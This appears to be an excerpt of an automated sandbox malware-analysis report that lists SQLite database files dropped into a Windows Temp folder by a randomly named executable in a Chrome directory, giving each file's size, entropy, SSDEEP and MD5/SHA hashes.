File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FT4Q6lH5cA

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FXf58Nhh5w

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FtBjmucH7p

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\G1syWIFwiE

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GFnj40L6g3

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GPD8pB49av

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GgPab8Q03M

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Gly8ZECnXs

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\H2Gsz3imko

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HdjzVEhf8A

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IJRcHVuvIX

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\INF0UraeTT

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IP0a9GyNjH

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ISUE4buAwV

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JXNyZywHFI

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JsUgxT3RWe

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KCp587AFTl

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KMdVR17kjr

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KTwFzwO80Z

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KfqABlcbqZ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KhX6U8xo8Y

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ky67uFf4tm

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LCnxfYaxr2

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LH8PU8p30H

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LWZEfkzpKE

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
